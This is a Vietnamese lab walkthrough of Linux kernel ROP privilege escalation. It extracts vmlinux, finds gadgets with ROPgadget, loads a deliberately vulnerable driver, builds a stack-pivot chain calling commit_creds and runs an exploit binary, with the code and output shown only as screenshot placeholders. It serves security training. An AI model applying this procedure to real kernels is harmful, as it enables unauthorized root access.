    4. Chúng ta sẽ xem xét cách bạn có thể trích xuất các gadget ROP từ tệp nhị phân của nhân. Chúng ta cần xem xét những điều sau:a. Chúng ta cần ELF (vmlinux) để trích xuất các gadget. Chúng ta có thể sử dụng /boot/vmlinux nhưng nó cần được giải nén.
      b. Một công cụ để trích xuất các gadget ROP vì có rất nhiều.
    5. Chúng ta có thể trích xuất hình ảnh bằng extract-vmlinux. Vui lòng xem nội dung sau:
          #!/bin/sh
    # SPDX-License-Identifier: GPL-2.0-only
    #
    # Extract uncompressed vmlinux from a kernel image
    # extract-vmlinux
    #
    # Inspired from extract-ikconfig
    # (c) 2009, 2010 Dick Streefland <dick@streefland.net>
    #
    # (c) 2011  Corentin Chary <corentin.chary@gmail.com>
    #
    
    check_vmlinux() {
        # Use readelf to check if it's a valid ELF
        # and not just an elf
        # TODO: find a better to way to check that it's really vmlinux
        readelf -h $1 > /dev/null 2>&1 || return 1
        cat $1
        exit 0
    }
    
    try_decompress() {
        # The obscure use of the "tr" filter is to work around older
        # versions of "grep" that report the byte offset of the
        # pattern.
        # Try to find the header ($1) and decompress from here
        for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
        do
            pos=${pos%%:*}
            tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
            check_vmlinux $tmp
        done
    }
    
    # Check invocation:
    me=${0##*/}
    img=$1
    
    if [ $# -ne 1 -o ! -s "$img" ]; then
        echo "Usage: $me <kernel-image>" >&2
        exit 2
    fi
    
    
    # Prepare temp files:
    tmp=$(mktemp /tmp/vmlinux-XXX)
    trap "rm -f $tmp" 0
    
    # That didn't work, so retry after decompression.
    try_decompress '\037\213\010' xy gunzip
    try_decompress '\3757zXZ\000' abcde unxz
    try_decompress 'BZh'          xy bunzip2
    try_decompress '\135\0\0\0'    xxx unlzma
    try_decompress '\211\114\132' xy 'lzop -d'
    try_decompress '\002!L\030'    xxx 'lz4 -d'
    try_decompress '(\265/\375'    xxx unzstd
    
    # Finally check for uncompressed images or objects:
    check_vmlinux $img
    
    # Bail out:
    echo "$me: Cannot find vmlinux." >&2
    exit 1
        

    Use code with caution.Bash

    1. Tập lệnh nằm trong thư mục /home/student/Downloads nếu bạn muốn xem nó. Lệnh để trích xuất hình ảnh nén như sau (đây chỉ là để tham khảo, bạn không cần nhập nó): sudo ./extract-vmlinux /boot/vmlinuz-3.13.0-32-generic > vmlinux.
    2. Vì tệp đã được trích xuất, hãy điều hướng đến thư mục Downloads và nhập file vmlinux. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị loại tệp của vmlinux]

    1. Kỹ thuật ROP tận dụng lợi thế của việc căn chỉnh sai mã để xác định các gadget mới. Điều này có thể thực hiện được do mật độ ngôn ngữ x86, tức là bộ lệnh x86 đủ lớn (và các lệnh có độ dài khác nhau) để hầu hết mọi chuỗi byte đều được hiểu là một lệnh hợp lệ. Ví dụ: tùy thuộc vào offset, các lệnh sau có thể được hiểu khác nhau (lưu ý rằng lệnh thứ hai đại diện cho một điểm xoay ngăn xếp hữu ích). Đây là nơi chúng ta thiết lập một ngăn xếp giả, sau đó sử dụng nó để vượt qua các biện pháp bảo vệ:a. 0f 94 c3; sete %bl
      b. 94 c3; xchg eax, esp; ret
    2. Nếu chúng ta chạy objdump trên hình ảnh nhân được giải nén và sau đó grep cho các gadget, nó sẽ không cung cấp nhiều, vì chúng ta đang làm việc với các địa chỉ được căn chỉnh, điều này là đủ trong nhiều trường hợp.
    3. Chúng ta sẽ sử dụng công cụ ROPgadget từ
      https://github.com/JonathanSalwan/ROPgadget.
    4. Trong cửa sổ terminal, hãy nhập cd ROPgadget.
    5. Khi bạn đã ở trong thư mục, hãy nhập ./ROPgadget.py –binary ~/Downloads/vmlinux > ~/ropgadget.
    6. Bây giờ, hãy nhập tail ~/ropgadget. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của tail]

    1. Như ảnh chụp màn hình ở trên cho thấy, khá nhiều gadget đã được tìm thấy. Điều này có thể là một thách thức, nhưng bạn cũng có thể mong đợi rằng nhiều gadget trong số này sẽ không thể sử dụng được hoặc nằm trong khu vực bạn có thể ghi vào.
    2. Lưu ý rằng cú pháp Intel được sử dụng với công cụ ROPgadget. Bây giờ chúng ta có thể tìm kiếm các gadget ROP được liệt kê trong chuỗi ROP leo thang đặc quyền của chúng ta. Gadget đầu tiên chúng ta cần là pop %rdi; ret.
    3. Tiếp theo, chúng ta có thể grep cho điều này trong tệp của mình. Nhập grep ‘: pop rdi ; ret’ ~/ropgadget.

    [Ảnh chụp màn hình hiển thị đầu ra của grep]

    1. Rõ ràng, chúng ta có thể sử dụng bất kỳ gadget nào trong số này, nhưng bất cứ điều gì chúng ta chọn, chúng ta sẽ cần phải xây dựng giá trị trả về của mình bằng cách sử dụng số đó, vì con trỏ ngăn xếp sẽ di chuyển theo số đó từ bộ nhớ cao hơn xuống bộ nhớ thấp hơn.
    2. Một lần nữa, như một lời nhắc nhở, một gadget có thể nằm bên trong một trang không thực thi, vì vậy chúng ta có thể phải thử nhiều phương pháp để có được gadget phù hợp.
    3. Chúng ta có thể điều chỉnh chuỗi ROP ban đầu để chứa lệnh gọi bằng cách tải địa chỉ của commit_creds() vào %rbx. Điều này sẽ trỏ %rdi đến cấu trúc root của chúng ta, điều này sẽ nâng cao đặc quyền.
    4. Để kiểm tra điều này, chúng ta có thể sử dụng một chương trình trình điều khiển dễ bị tổn thương do Trustwave SpiderLabs Vitaly Nikolenko tạo ra. Mã cho trình điều khiển được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị mã cho trình điều khiển]

    1. Như ảnh chụp màn hình ở trên cho thấy, giá trị được sao chép vào fn không thực hiện bất kỳ kiểm tra ràng buộc nào cho mảng, vì vậy chúng ta có thể sử dụng một long không dấu để truy cập bất kỳ địa chỉ bộ nhớ nào trong không gian người dùng hoặc không gian hạt nhân.
    2. Sau đó, trình điều khiển được đăng ký và in ra mảng ops. Trong một cửa sổ terminal mới, nhập cd ~/Downloads/trustwave/kernel_rop.
    3. Tiếp theo, chúng ta muốn xóa mã trong trường hợp nó đã được biên dịch.

    a. rm drv.ko

    b. lsmod | grep drv

    1. Nếu bạn có đầu ra, thì điều đó có nghĩa là mô-đun bị nhiễm drv được tải. Trong trường hợp đó, chúng ta cần dỡ bỏ nó. Nhập sudo rmmod drv. Điều này sẽ loại bỏ mô-đun nhân.
    2. Tiếp theo, chúng ta muốn xây dựng mã và chèn mô-đun. Nhập make && sudo insmod ./drv.ko. Một ví dụ về đầu ra của lệnh được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của make và insmod]

    1. Tiếp theo, nhập lsmod | grep drv và xác minh rằng mô-đun nhân của bạn đã được tải.
    2. Để xem offset của chúng ta, nhập dmesg | tail. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của dmesg]

    1. Nhập sudo chmod a+r /dev/vulndrv.
    2. Bước tiếp theo là cung cấp một offset được tính toán trước. Bất kỳ địa chỉ bộ nhớ nào trong không gian nhân có thể được thực thi sẽ hoạt động.
    3. Chúng ta cần một cách để chuyển hướng luồng thực thi của nhân đến chuỗi ROP của chúng ta trong không gian người dùng mà không có lệnh của không gian người dùng.
    4. Cho đến nay, chúng ta đã trình bày cách tìm các gadget ROP hữu ích và xây dựng chuỗi ROP leo thang đặc quyền.
    5. Vì chúng ta không thể chuyển hướng luồng điều khiển của nhân đến địa chỉ không gian người dùng cho bài tập này, chúng ta cần tìm một gadget nằm trong không gian nhân. Khi chúng ta có điều đó, thì chúng ta sẽ chuẩn bị một chuỗi ROP trong không gian người dùng và sau đó tìm nạp con trỏ đến các lệnh trong không gian nhân.
    6. Sử dụng thực thi mã tùy ý trong không gian nhân, chúng ta cần đặt con trỏ ngăn xếp của mình thành một địa chỉ không gian người dùng mà chúng ta kiểm soát. Mặc dù môi trường thử nghiệm của chúng ta là 64 bit, chúng ta quan tâm đến gadget xoay ngăn xếp cuối cùng nhưng với các thanh ghi 32 bit, tức là xchg %eax, %esp; ret hoặc xchg %esp, %eax; ret. Trong trường hợp $eax của chúng ta chứa một địa chỉ bộ nhớ nhân hợp lệ (ví dụ: 0xffffffffXXXXXXXX), lệnh xoay ngăn xếp này sẽ đặt 32 bit thấp hơn của $eax (0xXXXXXXXX là địa chỉ không gian người dùng) làm con trỏ ngăn xếp mới. Kể từ khi giá trị $eax được biết ngay trước khi thực thi fn(), chúng ta biết chính xác ngăn xếp không gian người dùng mới của chúng ta sẽ ở đâu và mmap nó cho phù hợp.

    tiếp theo :

    Chúng ta đang tìm kiếm lệnh xchg để chọn làm gadget ROP của chúng ta. Nhập grep ‘ : xchg eax, esp ; ret ‘ ~/ropgadget. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của grep]

    1. Xin lưu ý khi chọn một gadget xoay ngăn xếp rằng nó cần được căn chỉnh theo 8 byte (vì ops là mảng các con trỏ 8 byte và địa chỉ cơ sở của nó được căn chỉnh đúng cách). Tập lệnh đơn giản sau từ Trustwave có thể được sử dụng để tìm một gadget phù hợp.

    [Ảnh chụp màn hình hiển thị tập lệnh find_offset.py]

    1. Chúng ta hãy chạy tập lệnh. Nhập cat ~/ropgadget | grep ‘: xchg eax, esp ; ret’ > gadgets. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.
      [Không có ảnh chụp màn hình được cung cấp, nhưng đầu ra sẽ là danh sách tất cả các gadget phù hợp với mẫu grep]
    2. Địa chỉ ngăn xếp là địa chỉ trong không gian người dùng mà chuỗi ROP cần được ánh xạ tới, được mã hóa là fake_stack() như được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị mã cho fake_stack()]

    1. Lệnh RET trong xoay ngăn xếp có một toán hạng số; vì không có đối số, nó lấy địa chỉ trả về ra khỏi ngăn xếp và nhảy đến đó. Gadget ROP thứ hai là để dọn dẹp đúng cách.
    2. Có khả năng syscall trong nhân có thể chuyển đổi ngữ cảnh. Chúng ta cần chuẩn bị cho điều đó. Nó thường được thực hiện bằng cách sử dụng lệnh iret (trả về đặc quyền liên kết). Đối với điều này, chúng ta có thể lấy địa chỉ của lệnh iretq. Nhập objdump -j .text -d ~/Downloads/vmlinux | grep iretq | head -1. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị địa chỉ của lệnh iretq]

    1. Chúng ta cần thêm nữa vì chúng ta đang ở trên hệ thống 64 bit. Chúng ta cần swapgs vì điều này được thực thi tại mục nhập để định tuyến không gian nhân và được yêu cầu trước khi quay lại không gian người dùng.
    2. Bây giờ chúng ta có mọi thứ cần thiết. Vẫn có thể xảy ra chuyển đổi ngữ cảnh hoặc điều gì đó khác. Tuy nhiên, bây giờ chúng ta có quy trình và nếu nó không thành công, thì bạn luôn có thể gỡ lỗi nó. Một ví dụ về chuỗi ROP được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị chuỗi ROP]

    1. Bây giờ là lúc để kiểm tra. Nhập dmesg | grep addr | grep ops. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của dmesg]

    1. Bây giờ chúng ta đã có địa chỉ cho ops, chúng ta cần offset.

    Nhập ~/find_offset.py ffffffffa02e9340 ~/gadgets. Hãy nhớ thay thế địa chỉ này bằng địa chỉ và offset của riêng bạn nếu chúng khác nhau. Một ví dụ về đầu ra của lệnh được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của find_offset.py]

    1. Tiếp theo, hãy biên dịch khai thác. Nhập ./rop_exploit 18446744073644231139 ffffffffa02e9340. Một ví dụ về những gì nó trông giống như khi thành công được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của khai thác thành công]

    1. Nếu khai thác của bạn không thành công, thì hãy biên dịch tệp thực thi với các ký hiệu gỡ lỗi và cố gắng xem những gì còn thiếu. Phải mất thời gian và nỗ lực gỡ lỗi để có được chính xác các chuỗi mã, đặc biệt là để xây dựng chuỗi ROP.
    2. Các mục tiêu của bài tập đã đạt được.

    Bình luận về bài viết này

    Thịnh hành